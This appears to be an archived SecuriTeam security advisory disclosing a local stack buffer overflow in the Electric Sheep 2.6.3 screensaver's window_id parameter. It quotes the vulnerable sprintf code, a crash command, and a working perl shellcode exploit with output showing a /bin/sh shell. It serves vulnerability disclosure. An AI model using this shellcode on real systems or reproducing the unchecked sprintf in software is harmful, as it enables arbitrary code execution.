[NEWS] Electric Sheep Window-Id Local Stack Overflow

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html

- - - - - - - - -



Electric Sheep Window-Id Local Stack Overflow
------------------------------------------------------------------------


SUMMARY

" <http://electricsheep.org/> Electric Sheep is a free, open source screen
saver run by thousands of people all over the world. It can be installed
on any ordinary PC or Mac."

Electric Sheep does not perform proper bounds checking on the window_id
command line parameter, allowing a malicious attacker to run arbitrary
code on the vulnerable machine with the permissions of the running user.

DETAILS

Vulnerable Systems:
* Electric Sheep version 2.6.3

Vulnerable Code:
>From file electricsheep.c

419:
default_background(char *more) {
char ob[MAXBUF];
char pbuf[MAXBUF];
char qbuf[MAXBUF];

if (nobg || (!on_root && !window_id)) return;
if (more)
sprintf(ob, "-merge -at 500,0 s.tif",
splash_prefix, more);
else
ob[0] = 0;

if (window_id)
sprintf(qbuf, "-windowid %s", window_id); //no bounds checking on
qbuf

Because window_id comes directly from the command line, a malicious user
has the potential to supply a window_id larger than MAXBUF and corrupt
surrounding memory. The vulnerability can be seen by executing the
following command.
electricsheep -window-id `perl -e '{print "A"x"40000";}'`

Bad integer argument for the windowid option Usage: xsetbg [global
options] {[image options] image_name ...}
Type `xsetbg -help [option ...]' for information on a particular option,
or `xsetbg -help' to enter the interactive help facility.
subprocess failure: splash0, 256=1<<8+0
Segmentation fault

Exploit Code:
An exploit spawing /bin/sh on SUSE Linux

narain@(none):~/electricsheep-2.6.3> electricsheep -window-id `perl -
e '{print "\x90"x"200"; print "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46
\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb
\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"; print "B"x"532";print
"\x80\xc4\xfd\xbf"; print "C"x"39219";}'`

Bad integer argument for the windowid option

Usage: xsetbg [global options] {[image options] image_name ...}

Type `xsetbg -help [option ...]' for information on a particular option,
or `xsetbg -help' to enter the interactive help facility.
subprocess failure: splash0, 256=1<<8+0
sh-3.00$ whoami
narain
sh-3.00$

This local exploit to the sheep client does not pose a significant threat
as electric sheep does not setuid(0). However, local exploits may be used
as mechanisms for subvert command execution once a system has been
compromised or used to create backdoors

This vulnerability was discovered during coursework performed for
"Penetration Testing & Vulnerability Analysis" offered at Polytechnic
University (http://www.poly.edu) during the Fall 2005 semester.


ADDITIONAL INFORMATION

The information has been provided by
<mailto:MichaelAiello@xxxxxxxxxxxxxxxxx> Michael Aiello and
<mailto:dguido@xxxxxxxxx> Daniel Guido.



========================================


This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@xxxxxxxxxxxxxx
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxx


====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

Relevant Pages